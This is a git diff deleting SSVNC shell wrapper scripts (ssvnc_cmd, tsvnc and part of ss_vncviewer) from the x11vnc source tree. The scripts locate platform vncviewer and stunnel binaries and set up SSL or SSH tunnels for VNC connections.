- quit=0
- if type vncviewer >/dev/null 2>/dev/null; then
- :
- else
- echo "vncviewer not found in PATH."
- quit=1
- fi
- if type stunnel >/dev/null 2>/dev/null; then
- :
- else
- echo "stunnel not found in PATH."
- quit=1
- fi
- echo
- if [ "X$quit" = "X1" ]; then
- echo "You can set the \$UNAME env. var. to override the OS setting."
- echo "Or, if available, run the ./build.unix script to build it."
- echo "Or install external \"vncviewer\" and \"stunnel\" packages."
- exit 1
- fi
- echo "Using externel \"vncviewer\" and \"stunnel\" found in PATH."
-else
- STUNNEL=stunnel
- #STUNNEL_EXTRA_OPTS=${STUNNEL_EXTRA_OPTS:-"maxconn = 1"}
- #export STUNNEL STUNNEL_EXTRA_OPTS
- SSVNC_VIEWER_INTERNAL=1
- export SSVNC_VIEWER_INTERNAL
-fi
-
-
-# Put our os.arch and other utils dirs at head of PATH to be sure to
-# pick them up:
-#
-PATH="$dir:$dir/$name:$dir/util:$PATH"
-if echo "$dir" | grep '^/' > /dev/null; then
- :
-else
- dir=`pwd`/$dir
- PATH="$dir:$dir/$name:$dir/util:$PATH"
-fi
-
-SSVNC_BASEDIR="$dir"
-export SSVNC_BASEDIR
-SSVNC_BASEDIRNAME="$dir/$name"
-export SSVNC_BASEDIRNAME
-
-if [ -f "$dir/util/ultraftp.jar" ]; then
- SSVNC_ULTRA_FTP_JAR="$dir/util/ultraftp.jar"
- export SSVNC_ULTRA_FTP_JAR
-fi
-
-if [ "X$1" = "X-cmd" -o "X$1" = "X--cmd" ]; then
- shift
- exec ssvnc_cmd "$@"
-elif [ "X$WISH" = "Xwish" ]; then
- exec ssvnc.tcl "$@"
-else
- exec $WISH $dir/util/ssvnc.tcl "$@"
-fi
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd b/x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd
deleted file mode 100755
index f84eb58..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd
+++ /dev/null
@@ -1,286 +0,0 @@
-#!/bin/sh
-#
-# Copyright (c) 2006-2009 by Karl J. Runge <runge@karlrunge.com>
-#
-# ssvnc_cmd:
-#
-# A wrapper that calls ss_vncviewer to use the enhanced TightVNC viewer.
-#
-# The enhanced TightVNC viewer features are:
-#
-# - SSL support for connections using the co-bundled stunnel program.
-# - rfbNewFBSize VNC support (screen resizing)
-# - cursor alphablending with x11vnc at 32bpp
-# - xgrabserver support for fullscreen mode (for old window mgrs)
-#
-#
-# Your platform (e.g. Linux.i686) is autodetected and enhanced
-# vncviewer and stunnel binaries for it are used (see the ./bin directory).
-#
-# See the build.unix script if your platform is not in this package.
-# You can also set the env. var. UNAME=os.arch to any "os.arch" you want
-# to override the autodetetion.
-#
-# Usage:
-#
-# ssvnc_cmd [ss_vncviewer-args] hostname:N [vncviewer-args]
-#
-# if, instead, this script is named "tightvncviewer" or "-viewer" is the
-# first argument it calls the vncviewer directly (there is no encryption)
-# and must be invoked as:
-#
-# tightvncviewer [vncviewer-args] hostname:N
-# or
-# ssvnc_cmd -viewer [vncviewer-args] hostname:N
-#
-# In both cases, "hostname:N" is the host and VNC display to connect to,
-# e.g. snoopy:0. (-listen N and -appshare N modes works too.)
-#
-# See the script util/ss_vncviewer for details about its arguments:
-#
-# -verify pemfile
-# -mycert pemfile
-# -proxy phost:pport
-# -alpha
-# -grab
-#
-# N.B. if this script is named "tightvncviewer" the vncviewer is called
-# directly, and there won't be any SSL or SSH encryption tunnels.
-#
-# If the *very first* argument is "-cotvnc" then it is assumed you are on
-# Darwin and want to run the Chicken of the VNC viewer via our wrapper.
-#
-#
-# See the TightVNC viewer documentation for on its cmdline arguments.
-#
-# For convenience, here is the TightVNC 1.3dev5 viewer -help output:
-#
-# TightVNC viewer version 1.3dev5
-#
-# Usage: vncviewer [<OPTIONS>] [<HOST>][:<DISPLAY#>]
-# vncviewer [<OPTIONS>] [<HOST>][::<PORT#>]
-# vncviewer [<OPTIONS>] -listen [<DISPLAY#>]
-# vncviewer -help
-#
-# <OPTIONS> are standard Xt options, or:
-# -via <GATEWAY>
-# -shared (set by default)
-# -noshared
-# -viewonly
-# -fullscreen
-# -noraiseonbeep
-# -passwd <PASSWD-FILENAME> (standard VNC authentication)
-# -user <USERNAME> (Unix login authentication)
-# -encodings <ENCODING-LIST> (e.g. "tight copyrect")
-# -bgr233
-# -owncmap
-# -truecolour
-# -depth <DEPTH>
-# -compresslevel <COMPRESS-VALUE> (0..9: 0-fast, 9-best)
-# -quality <JPEG-QUALITY-VALUE> (0..9: 0-low, 9-high)
-# -nojpeg
-# -nocursorshape
-# -x11cursor
-# -autopass
-#
-# Option names may be abbreviated, e.g. -bgr instead of -bgr233.
-# See the manual page for more information.
-#
-# Note: the enhanced tightvnc viewer (SSVNC) has many more options, run
-# this script as "ssvnc_cmd Vnc://a:0 -help" or "tightvncviewer -help"
-# to seem them.
-
-if [ "X$1" = "X-h" -o "X$1" = "X-helpxxx" -o "X$1" = "X--help" ]; then
- tail -n +2 "$0" | sed -e '/^$/ q' -e 's/^#//'
- exit
-fi
-
-# Include /usr/bin... to be sure to get regular utilities:
-#
-PATH=$PATH:/usr/bin:/bin
-export PATH
-
-if [ "X$FULLNAME" = "XKarl J. Runge" ]; then
- if [ "X$NOPOPUFIX" = "X" ]; then
- VNCVIEWER_POPUP_FIX=1
- export VNCVIEWER_POPUP_FIX
- fi
- PATH=`echo "$PATH" | sed -e 's,runge/bin/override,-------------,'`
-fi
-
-# Set this for ss_vncviewer to pick up:
-#
-if [ "X$1" = "X-cotvnc" ]; then
- shift
- DARWIN_COTVNC=1
- export DARWIN_COTVNC
-elif [ "X$DARWIN_COTVNC" = "X" -a "X$DISPLAY" = "X" ]; then
- uname=`uname`
- if [ "X$uname" = "XDarwin" ]; then
- DARWIN_COTVNC=1
- export DARWIN_COTVNC
- fi
-fi
-
-use_ours=0
-if [ "X$VNCVIEWERCMD" = "X" ]; then
- VNCVIEWERCMD="vncviewer"
- export VNCVIEWERCMD
- if [ "X$DARWIN_COTVNC" != "X1" ]; then
- use_ours=1
- fi
-fi
-
-# work out os.arch platform string and check for binaries:
-#
-name=$UNAME
-if [ "X$name" = "X" ]; then
- name=`uname -sm | sed -e 's/ /./g' -e 's,/.*,,' -e 's/Linux\.i.86/Linux.i686/'`
-fi
-
-dL="-L"
-if uname -sr | egrep 'SunOS 5\.[5-8]' > /dev/null; then
- dL="-h"
-fi
-
-f="$0"
-for t in 1 2 3 4 5 6
-do
- if [ $dL "$f" ]; then
- f0="$f"
- f=`ls -l "$f" | sed -e 's/^.* -> //'`
- if echo "$f" | grep '^/' > /dev/null; then
- :
- else
- f="`dirname "$f0"`/$f"
- fi
- else
- break
- fi
-done
-dir=`dirname "$f"`
-PATH="$dir:$PATH"
-SSVNC_BASEDIR="$dir"
-export SSVNC_BASEDIR
-SSVNC_BASEDIRNAME="$dir/$name"
-export SSVNC_BASEDIRNAME
-SSVNC_UNAME="$name"
-export SSVNC_UNAME
-
-nearby=0
-if [ -x "$dir/vncviewer" -a -x "$dir/stunnel" ]; then
- nearby=1
-fi
-if [ "X$name" = "X." ]; then
- :
- #type vncviewer
- #type stunnel
-elif [ ! -d "$dir/$name" -a $nearby = 0 ]; then
- echo
- echo "Cannot find platform dir for your OS `uname -sm`:"
- echo
- echo " $dir/$name"
- echo
- PATH=$PATH:/usr/sbin:/usr/local/sbin:/dist/sbin
-
- quit=0
- if type vncviewer >/dev/null 2>/dev/null; then
- :
- else
- echo "vncviewer not found in PATH."
- quit=1
- fi
- if type stunnel >/dev/null 2>/dev/null; then
- :
- else
- echo "stunnel not found in PATH."
- quit=1
- fi
- echo
- if [ "X$quit" = "X1" ]; then
- echo "You can set the \$UNAME env. var. to override the OS setting."
- echo "Or, if available, run the ./build.unix script to build it."
- echo "Or install external \"vncviewer\" and \"stunnel\" packages."
- exit 1
- fi
- echo "Using externel \"vncviewer\" and \"stunnel\" found in PATH."
-
-else
- STUNNEL=stunnel
- #STUNNEL_EXTRA_OPTS=${STUNNEL_EXTRA_OPTS:-"maxconn = 1"}
- #export STUNNEL STUNNEL_EXTRA_OPTS
- SSVNC_VIEWER_INTERNAL=1
- export SSVNC_VIEWER_INTERNAL
-fi
-
-if [ "X$DARWIN_COTVNC" != "X1" -a "X$VNCVIEWERCMD" = "Xvncviewer" ]; then
- hstr=`$VNCVIEWERCMD -h 2>&1 | head -5`
- if echo "$hstr" | grep 'SSVNC.*TightVNC.*version 1\.3' > /dev/null; then
- # we need to avoid raw encoding
- use_ours=1
- fi
-fi
-
-# Put our os.arch and other utils dirs at head of PATH to be sure to
-# pick them up:
-#
-PATH="$dir:$dir/$name:$dir/util:$PATH"
-if echo "$dir" | grep '^/' > /dev/null; then
- :
-else
- dir=`pwd`/$dir
- PATH="$dir:$dir/$name:$dir/util:$PATH"
-fi
-
-if [ -f "$dir/util/ultraftp.jar" ]; then
- SSVNC_ULTRA_FTP_JAR="$dir/util/ultraftp.jar"
- export SSVNC_ULTRA_FTP_JAR
-fi
-
-base=`basename "$0"`
-if [ "X$1" = "X-ssl" ]; then
- shift
- base="ssvnc_cmd"
-fi
-
-do_viewer_directly=""
-if [ "X$1" = "X-viewer" ]; then
- do_viewer_directly=1
- shift
-fi
-if [ "X$base" = "Xtightvncviewer" ]; then
- do_viewer_directly=1
-fi
-
-# If ours (and not cotvnc), force the use of tight encoding for localhost
-# redir connection:
-#
-#
-if [ $use_ours = 1 ]; then
- # avoid system vncviewer app-defaults
- #XFILESEARCHPATH="/tmp/path/nowhere"; export XFILESEARCHPATH
-
- SSVNC_USE_OURS=1; export SSVNC_USE_OURS
-
- if [ "X$SSVNC_TURBOVNC" != "X" ]; then
- if echo "$VNCVIEWERCMD" | grep '\.turbovnc' > /dev/null; then
- :
- else
- if type "$VNCVIEWERCMD.turbovnc" > /dev/null 2>/dev/null; then
- VNCVIEWERCMD="$VNCVIEWERCMD.turbovnc"
- fi
- fi
- fi
-
- if [ "X$do_viewer_directly" = "X1" ]; then
- $VNCVIEWERCMD -encodings 'copyrect tight zrle zlib hextile' "$@"
- else
- ss_vncviewer "$@" -encodings 'copyrect tight zrle zlib hextile'
- fi
-else
- if [ "X$do_viewer_directly" = "X1" ]; then
- $VNCVIEWERCMD "$@"
- else
- ss_vncviewer "$@"
- fi
-fi
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/bin/tsvnc b/x11vnc/misc/enhanced_tightvnc_viewer/bin/tsvnc
deleted file mode 100755
index acf55c6..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/bin/tsvnc
+++ /dev/null
@@ -1,7 +0,0 @@
-#!/bin/sh
-#
-# wrapper for TS_ONLY mode
-#
-PATH=`dirname "$0"`:$PATH; export PATH
-SSVNC_TS_ONLY=1; export SSVNC_TS_ONLY
-exec ssvnc -ts "$@"
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer b/x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer
deleted file mode 100755
index b0245af..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer
+++ /dev/null
@@ -1,3635 +0,0 @@
-#!/bin/sh
-#
-# ss_vncviewer: wrapper for vncviewer to use an stunnel SSL tunnel
-# or an SSH tunnel.
-#
-# Copyright (c) 2006-2009 by Karl J. Runge <runge@karlrunge.com>
-#
-# ss_vncviewer is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or (at
-# your option) any later version.
-#
-# ss_vncviewer is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with ss_vncviewer; if not, write to the Free Software
-# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-# or see <http://www.gnu.org/licenses/>.
-#
-#
-# You must have stunnel(8) installed on the system and in your PATH
-# (however, see the -ssh option below, in which case you will need ssh(1)
-# installed) Note: stunnel is usually installed in an "sbin" subdirectory.
-#
-# You should have "x11vnc -ssl ..." or "x11vnc -stunnel ..."
-# already running as the VNC server on the remote machine.
-# (or use stunnel on the server side for any other VNC server)
-#
-#
-# Usage: ss_vncviewer [cert-args] host:display <vncviewer-args>
-#
-# e.g.: ss_vncviewer snoopy:0
-# ss_vncviewer snoopy:0 -encodings "copyrect tight zrle hextile"
-#
-# [cert-args] can be:
-#
-# -verify /path/to/cacert.pem
-# -mycert /path/to/mycert.pem
-# -crl /path/to/my_crl.pem (or directory)
-# -proxy host:port
-#
-# -verify specifies a CA cert PEM file (or a self-signed one) for
-# authenticating the VNC server.
-#
-# -mycert specifies this client's cert+key PEM file for the VNC server to
-# authenticate this client.
-#
-# -proxy try host:port as a Web proxy to use the CONNECT method
-# to reach the VNC server (e.g. your firewall requires a proxy).
-#
-# For the "double proxy" case use -proxy host1:port1,host2:port2
-# (the first CONNECT is done through host1:port1 to host2:port2
-# and then a 2nd CONNECT to the destination VNC server.)
-#
-# Use socks://host:port, socks4://host:port, or socks5://host,port
-# to force usage of a SOCKS proxy. Also repeater://host:port and
-# sslrepeater://host:port.
-#
-# -showcert Only fetch the certificate using the 'openssl s_client'
-# command (openssl(1) must in installed). On ssvnc 1.0.27 and
-# later the bundled command 'ultravnc_dsm_helper' is used.
-#
-# See http://www.karlrunge.com/x11vnc/faq.html#faq-ssl-ca for details on
-# SSL certificates with VNC.
-#
-# A few other args (not related to SSL and certs):
-#
-# -2nd Run the vncviewer a 2nd time if the first connections fails.
-#
-# -ssh Use ssh instead of stunnel SSL. ssh(1) must be installed and you
-# must be able to log into the remote machine via ssh.
-#
-# In this case "host:display" may be of the form "user@host:display"
-# where "user@host" is used for the ssh login (see ssh(1) manpage).
-#
-# If -proxy is supplied it can be of the forms: "gwhost" "gwhost:port"
-# "user@gwhost" or "user@gwhost:port". "gwhost" is an incoming ssh
-# gateway machine (the VNC server is not running there), an ssh -L
-# redir is used to "host" in "host:display" from "gwhost". Any "user@"
-# part must be in the -proxy string (not in "host:display").
-#
-# Under -proxy use "gwhost:port" if connecting to any ssh port
-# other than the default (22). (even for the non-gateway case,
-# -proxy must be used to specify a non-standard ssh port)
-#
-# A "double ssh" can be specified via a -proxy string with the two
-# hosts separated by a comma:
-#
-# [user1@]host1[:port1],[user2@]host2[:port2]
-#
-# in which case a ssh to host1 and thru it via a -L redir a 2nd
-# ssh is established to host2.
-#
-# Examples:
-#
-# ss_vncviewer -ssh bob@bobs-home.net:0
-# ss_vncviewer -ssh -sshcmd 'x11vnc -localhost' bob@bobs-home.net:0
-#
-# ss_vncviewer -ssh -proxy fred@mygate.com:2022 mymachine:0
-# ss_vncviewer -ssh -proxy bob@bobs-home.net:2222 localhost:0
-#
-# ss_vncviewer -ssh -proxy fred@gw-host,fred@peecee localhost:0
-#
-# -sshcmd cmd Run "cmd" via ssh instead of the default "sleep 15"
-# e.g. -sshcmd 'x11vnc -display :0 -localhost -rfbport 5900'
-#
-# -sshargs "args" pass "args" to the ssh process, e.g. -L/-R port redirs.
-#
-# -sshssl Tunnel the SSL connection thru a SSH connection. The tunnel as
-# under -ssh is set up and the SSL connection goes thru it. Use
-# this if you want to have and end-to-end SSL connection but must
-# go thru a SSH gateway host (e.g. not the vnc server). Or use
-# this if you need to tunnel additional services via -R and -L
-# (see -sshargs above).
-#
-# ss_vncviewer -sshssl -proxy fred@mygate.com mymachine:0
-#
-# -listen (or -reverse) set up a reverse connection.
-#
-# -alpha turn on cursor alphablending hack if you are using the
-# enhanced tightvnc vncviewer.
-#
-# -grab turn on XGrabServer hack if you are using the enhanced tightvnc
-# vncviewer (e.g. for fullscreen mode in some windowmanagers like
-# fvwm that do not otherwise work in fullscreen mode)
-#
-#
-# set VNCVIEWERCMD to whatever vncviewer command you want to use.
-#
-VNCIPCMD=${VNCVIEWERCMD:-vncip}
-VNCVIEWERCMD=${VNCVIEWERCMD:-vncviewer}
-if [ "X$SSVNC_TURBOVNC" != "X" ]; then
- if echo "$VNCVIEWERCMD" | grep '\.turbovnc' > /dev/null; then
- :
- else
- if type "$VNCVIEWERCMD.turbovnc" > /dev/null 2>/dev/null; then
- VNCVIEWERCMD="$VNCVIEWERCMD.turbovnc"
- fi
- fi
-fi
-#
-# Same for STUNNEL, e.g. set it to /path/to/stunnel or stunnel4, etc.
-#
-
-# turn on verbose debugging output
-if [ "X$SS_DEBUG" != "X" -a "X$SS_DEBUG" != "X0" ]; then
- set -xv
-fi
-
-PATH=$PATH:/usr/sbin:/usr/local/sbin:/dist/sbin; export PATH
-
-localhost="localhost"
-if uname | grep Darwin >/dev/null; then
- localhost="127.0.0.1"
-fi
-
-# work out which stunnel to use (debian installs as stunnel4)
-stunnel_set_here=""
-if [ "X$STUNNEL" = "X" ]; then
- check_stunnel=1
- if [ "X$SSVNC_BASEDIRNAME" != "X" ]; then
- if [ -x "$SSVNC_BASEDIRNAME/stunnel" ]; then
- type stunnel > /dev/null 2>&1
- if [ $? = 0 ]; then
- # found ours
- STUNNEL=stunnel
- check_stunnel=0
- fi
- fi
- fi
- if [ "X$check_stunnel" = "X1" ]; then
- type stunnel4 > /dev/null 2>&1
- if [ $? = 0 ]; then
- STUNNEL=stunnel4
- else
- STUNNEL=stunnel
- fi
- fi
- stunnel_set_here=1
-fi
-
-help() {
- tail -n +2 "$0" | sed -e '/^$/ q'
-}
-
-secondtry=""
-gotalpha=""
-use_ssh=""
-use_sshssl=""
-direct_connect=""
-ssh_sleep=15
-
-# sleep longer in -listen mode:
-if echo "$*" | grep '.*-listen' > /dev/null; then
- ssh_sleep=1800
-fi
-
-
-ssh_cmd=""
-# env override of ssh_cmd:
-if [ "X$SS_VNCVIEWER_SSH_CMD" != "X" ]; then
- ssh_cmd="$SS_VNCVIEWER_SSH_CMD"
-fi
-
-ssh_args=""
-showcert=""
-reverse=""
-
-ciphers=""
-anondh="ALL:RC4+RSA:+SSLv2:@STRENGTH"
-anondh_set=""
-stunnel_debug="6"
-if [ "X$SS_DEBUG" != "X" -o "X$SSVNC_VENCRYPT_DEBUG" != "X" -o "X$SSVNC_STUNNEL_DEBUG" != "X" ]; then
- stunnel_debug="7"
-fi
-
-if [ "X$1" = "X-viewerflavor" ]; then
- # special case, try to guess which viewer:
- #
- if echo "$VNCVIEWERCMD" | egrep -i '^(xmessage|sleep )' > /dev/null; then
- echo "unknown"
- exit 0
- fi
- if echo "$VNCVIEWERCMD" | grep -i chicken.of > /dev/null; then
- echo "cotvnc"
- exit 0
- fi
- if echo "$VNCVIEWERCMD" | grep -i ultra > /dev/null; then
- echo "ultravnc"
- exit 0
- fi
- # OK, run it for help output...
- str=`$VNCVIEWERCMD -h 2>&1 | head -n 5`
- if echo "$str" | grep -i 'TightVNC.viewer' > /dev/null; then
- echo "tightvnc"
- elif echo "$str" | grep -i 'VNC viewer version 3' > /dev/null; then
- echo "realvnc3"
- elif echo "$str" | grep -i 'VNC viewer .*Edition 4' > /dev/null; then
- echo "realvnc4"
- elif echo "$str" | grep -i 'RealVNC.Ltd' > /dev/null; then
- echo "realvnc4"
- else
- echo "unknown"
- fi
- exit 0
-fi
-if [ "X$1" = "X-viewerhelp" ]; then
- $VNCVIEWERCMD -h 2>&1
- exit 0
-fi
-
-# grab our cmdline options:
-while [ "X$1" != "X" ]
-do
- case $1 in
- "-verify") shift; verify="$1"
- ;;
- "-mycert") shift; mycert="$1"
- ;;
- "-crl") shift; crl="$1"
- ;;
- "-proxy") shift; proxy="$1"
- ;;
- "-ssh") use_ssh=1
- ;;
- "-sshssl") use_ssh=1
- use_sshssl=1
- ;;
- "-sshcmd") shift; ssh_cmd="$1"
- ;;
- "-sshargs") shift; ssh_args="$1"
- ;;
- "-anondh") ciphers="ciphers=$anondh"
- ULTRAVNC_DSM_HELPER_SHOWCERT_ADH=1
- export ULTRAVNC_DSM_HELPER_SHOWCERT_ADH
- anondh_set=1
- ;;
- "-ciphers") shift; ciphers="ciphers=$1"
- ;;
- "-alpha") gotalpha=1
- ;;
- "-showcert") showcert=1
- ;;
- "-listen") reverse=1
- ;;
- "-reverse") reverse=1
- ;;
- "-2nd") secondtry=1
- ;;
- "-grab") VNCVIEWER_GRAB_SERVER=1; export VNCVIEWER_GRAB_SERVER
- ;;
- "-x11cursor") VNCVIEWER_X11CURSOR=1; export VNCVIEWER_X11CURSOR
- ;;
- "-rawlocal") VNCVIEWER_RAWLOCAL=1; export VNCVIEWER_RAWLOCAL
- ;;
- "-scale") shift; SSVNC_SCALE="$1"; export SSVNC_SCALE
- ;;
- "-onelisten") SSVNC_LISTEN_ONCE=1; export SSVNC_LISTEN_ONCE
- ;;
- "-sendclipboard") VNCVIEWER_SEND_CLIPBOARD=1; export VNCVIEWER_SEND_CLIPBOARD
- ;;
- "-sendalways") VNCVIEWER_SEND_ALWAYS=1; export VNCVIEWER_SEND_ALWAYS
- ;;
- "-recvtext") shift; VNCVIEWER_RECV_TEXT="$1"; export VNCVIEWER_RECV_TEXT
- ;;
- "-escape") shift; VNCVIEWER_ESCAPE="$1"; export VNCVIEWER_ESCAPE
- ;;
- "-ssvnc_encodings") shift; VNCVIEWER_ENCODINGS="$1"; export VNCVIEWER_ENCODINGS
- ;;
- "-ssvnc_extra_opts") shift; VNCVIEWERCMD_EXTRA_OPTS="$1"; export VNCVIEWERCMD_EXTRA_OPTS
- ;;
- "-rfbversion") shift; VNCVIEWER_RFBVERSION="$1"; export VNCVIEWER_RFBVERSION
- ;;
- "-nobell") VNCVIEWER_NOBELL=1; export VNCVIEWER_NOBELL
- ;;
- "-popupfix") VNCVIEWER_POPUP_FIX=1; export VNCVIEWER_POPUP_FIX
- ;;
- "-realvnc4") VNCVIEWER_IS_REALVNC4=1; export VNCVIEWER_IS_REALVNC4
- ;;
- "-h"*) help; exit 0
- ;;
- "--h"*) help; exit 0
- ;;
- *) break
- ;;
- esac
- shift
-done
-
-# maxconn is something we added to stunnel, this disables it:
-if [ "X$SS_VNCVIEWER_NO_MAXCONN" != "X" ]; then
- STUNNEL_EXTRA_OPTS=`echo "$STUNNEL_EXTRA_OPTS" | sed -e 's/maxconn/#maxconn/'`
-elif echo "$VNCVIEWERCMD" | egrep -i '^(xmessage|sleep )' > /dev/null; then
- STUNNEL_EXTRA_OPTS=`echo "$STUNNEL_EXTRA_OPTS" | sed -e 's/maxconn/#maxconn/'`
-elif [ "X$reverse" != "X" ]; then
- STUNNEL_EXTRA_OPTS=`echo "$STUNNEL_EXTRA_OPTS" | sed -e 's/maxconn/#maxconn/'`
-else
- # new way (our patches). other than the above, we set these:
- if [ "X$SKIP_STUNNEL_ONCE" = "X" ]; then
- STUNNEL_ONCE=1; export STUNNEL_ONCE
- fi
- if [ "X$SKIP_STUNNEL_MAX_CLIENTS" = "X" ]; then
- STUNNEL_MAX_CLIENTS=1; export STUNNEL_MAX_CLIENTS
- fi
-fi
-# always set this one:
-if [ "X$SKIP_STUNNEL_NO_SYSLOG" = "X" ]; then
- STUNNEL_NO_SYSLOG=1; export STUNNEL_NO_SYSLOG
-fi
-
-# this is the -t ssh option (gives better keyboard response thru SSH tunnel)
-targ="-t"
-if [ "X$SS_VNCVIEWER_NO_T" != "X" ]; then
- targ=""
-fi
-
-# set the alpha blending env. hack:
-if [ "X$gotalpha" = "X1" ]; then
- VNCVIEWER_ALPHABLEND=1
- export VNCVIEWER_ALPHABLEND
-else
- NO_ALPHABLEND=1
- export NO_ALPHABLEND
-fi
-
-if [ "X$reverse" != "X" ]; then
- ssh_sleep=1800
- if [ "X$proxy" != "X" ]; then
- # check proxy usage under reverse connection:
- if [ "X$use_ssh" = "X" -a "X$use_sshssl" = "X" ]; then
- echo ""
- if echo "$proxy" | egrep -i "(repeater|vencrypt)://" > /dev/null; then
- :
- else
- echo "*Warning*: SSL -listen and a Web proxy does not make sense."
- sleep 2
- fi
- elif echo "$proxy" | grep "," > /dev/null; then
- :
- else
- echo ""
- echo "*Warning*: -listen and a single proxy/gateway does not make sense."
- sleep 2
- fi
-
- # we now try to PPROXY_LOOP_THYSELF, set this var to disable that.
- #SSVNC_LISTEN_ONCE=1; export SSVNC_LISTEN_ONCE
- fi
-fi
-if [ "X$ssh_cmd" = "X" ]; then
- # if no remote ssh cmd, sleep a bit:
- ssh_cmd="sleep $ssh_sleep"
-fi
-
-# this should be a host:display:
-#
-orig="$1"
-shift
-
-dL="-L"
-if uname -sr | egrep 'SunOS 5\.[5-8]' > /dev/null; then
- dL="-h"
-fi
-
-have_uvnc_dsm_helper_showcert=""
-if [ "X$showcert" = "X1" -a "X$SSVNC_USE_S_CLIENT" = "X" -a "X$reverse" = "X" ]; then
- if type ultravnc_dsm_helper >/dev/null 2>&1; then
- if ultravnc_dsm_helper -help 2>&1 | grep -w showcert >/dev/null; then
- have_uvnc_dsm_helper_showcert=1
- fi
- fi
-fi
-have_uvnc_dsm_helper_ipv6=""
-if [ "X$SSVNC_ULTRA_DSM" != "X" ]; then
- if type ultravnc_dsm_helper >/dev/null 2>&1; then
- if ultravnc_dsm_helper -help 2>&1 | grep -iw ipv6 >/dev/null; then
- have_uvnc_dsm_helper_ipv6=1
- fi
- fi
-fi
-
-rchk() {
- # a kludge to set $RANDOM if we are not bash:
- if [ "X$BASH_VERSION" = "X" ]; then
- RANDOM=`date +%S``sh -c 'echo $$'``ps -elf 2>&1 | sum 2>&1 | awk '{print $1}'`
- fi
-}
-rchk
-
-# a portable, but not absolutely safe, tmp file creator
-mytmp() {
- tf=$1
- if type mktemp > /dev/null 2>&1; then
- # if we have mktemp(1), use it:
- tf2="$tf.XXXXXX"
- tf2=`mktemp "$tf2"`
- if [ "X$tf2" != "X" -a -f "$tf2" ]; then
- if [ "X$DEBUG_MKTEMP" != "X" ]; then
- echo "mytmp-mktemp: $tf2" 1>&2
- fi
- echo "$tf2"
- return
- fi
- fi
- # fallback to multiple cmds:
- rm -rf "$tf" || exit 1
- if [ -d "$tf" ]; then
- echo "tmp file $tf still exists as a directory."
- exit 1
- elif [ $dL "$tf" ]; then
- echo "tmp file $tf still exists as a symlink."
- exit 1
- elif [ -f "$tf" ]; then
- echo "tmp file $tf still exists."
- exit 1
- fi
- touch "$tf" || exit 1
- chmod 600 "$tf" || exit 1
- rchk
- if [ "X$DEBUG_MKTEMP" != "X" ]; then
- echo "mytmp-touch: $tf" 1>&2
- fi
- echo "$tf"
-}
-
-# set up special case of ultravnc single click III mode:
-if echo "$proxy" | egrep "^sslrepeater://" > /dev/null; then
- pstr=`echo "$proxy" | sed -e 's,sslrepeater://,,'`
- pstr1=`echo "$pstr" | sed -e 's/+.*$//'`
- pstr2=`echo "$pstr" | sed -e 's/^[^+]*+//'`
- SSVNC_REPEATER="SCIII=$pstr2"; export SSVNC_REPEATER
- orig=$pstr1
- echo
- echo "reset: SSVNC_REPEATER=$SSVNC_REPEATER orig=$orig proxy=''"
- proxy=""
-fi
-if echo "$proxy" | egrep "vencrypt://" > /dev/null; then
- vtmp="/tmp/ss_handshake${RANDOM}.$$.txt"
- vtmp=`mytmp "$vtmp"`
- SSVNC_PREDIGESTED_HANDSHAKE="$vtmp"
- export SSVNC_PREDIGESTED_HANDSHAKE
- if [ "X$SSVNC_USE_OURS" = "X" ]; then
- NEED_VENCRYPT_VIEWER_BRIDGE=1
- fi
-fi
-if [ "X$SSVNC_USE_OURS" = "X" ]; then
- VNCVIEWERCMD_EXTRA_OPTS=""
-fi
-
-
-# check -ssh and -mycert/-verify conflict:
-if [ "X$use_ssh" = "X1" -a "X$use_sshssl" = "X" ]; then
- if [ "X$mycert" != "X" -o "X$verify" != "X" ]; then
- echo "-mycert and -verify cannot be used in -ssh mode"
- exit 1
- fi
-fi
-
-# direct mode Vnc:// means show no warnings.
-# direct mode vnc:// will show warnings.
-if echo "$orig" | grep '^V[Nn][Cc]://' > /dev/null; then
- SSVNC_NO_ENC_WARN=1
- export SSVNC_NO_ENC_WARN
- orig=`echo "$orig" | sed -e 's/^...:/vnc:/'`
-fi
-
-# interprest the pseudo URL proto:// strings:
-if echo "$orig" | grep '^vnc://' > /dev/null; then
- orig=`echo "$orig" | sed -e 's,vnc://,,'`
- verify=""
- mycert=""
- crl=""
- use_ssh=""
- use_sshssl=""
- direct_connect=1
-elif echo "$orig" | grep '^vncs://' > /dev/null; then
- orig=`echo "$orig" | sed -e 's,vncs://,,'`
-elif echo "$orig" | grep '^vncssl://' > /dev/null; then
- orig=`echo "$orig" | sed -e 's,vncssl://,,'`
-elif echo "$orig" | grep '^vnc+ssl://' > /dev/null; then
- orig=`echo "$orig" | sed -e 's,vnc.ssl://,,'`
-elif echo "$orig" | grep '^vncssh://' > /dev/null; then
- orig=`echo "$orig" | sed -e 's,vncssh://,,'`
- use_ssh=1
-elif echo "$orig" | grep '^vnc+ssh://' > /dev/null; then
- orig=`echo "$orig" | sed -e 's,vnc.ssh://,,'`
- use_ssh=1
-fi
-
-if [ "X$SSVNC_ULTRA_DSM" != "X" ]; then
- verify=""
- mycert=""
- crl=""
- use_ssh=""
- use_sshssl=""
- direct_connect=1
- if echo "$SSVNC_ULTRA_DSM" | grep 'noultra:' > /dev/null; then
- SSVNC_NO_ULTRA_DSM=1; export SSVNC_NO_ULTRA_DSM
- fi
-fi
-
-# rsh mode is an internal/secret thing only I use.
-rsh=""
-if echo "$orig" | grep '^rsh://' > /dev/null; then
- use_ssh=1
- rsh=1
- orig=`echo "$orig" | sed -e 's,rsh://,,'`
-elif echo "$orig" | grep '^rsh:' > /dev/null; then
- use_ssh=1
- rsh=1
- orig=`echo "$orig" | sed -e 's,rsh:,,'`
-fi
-
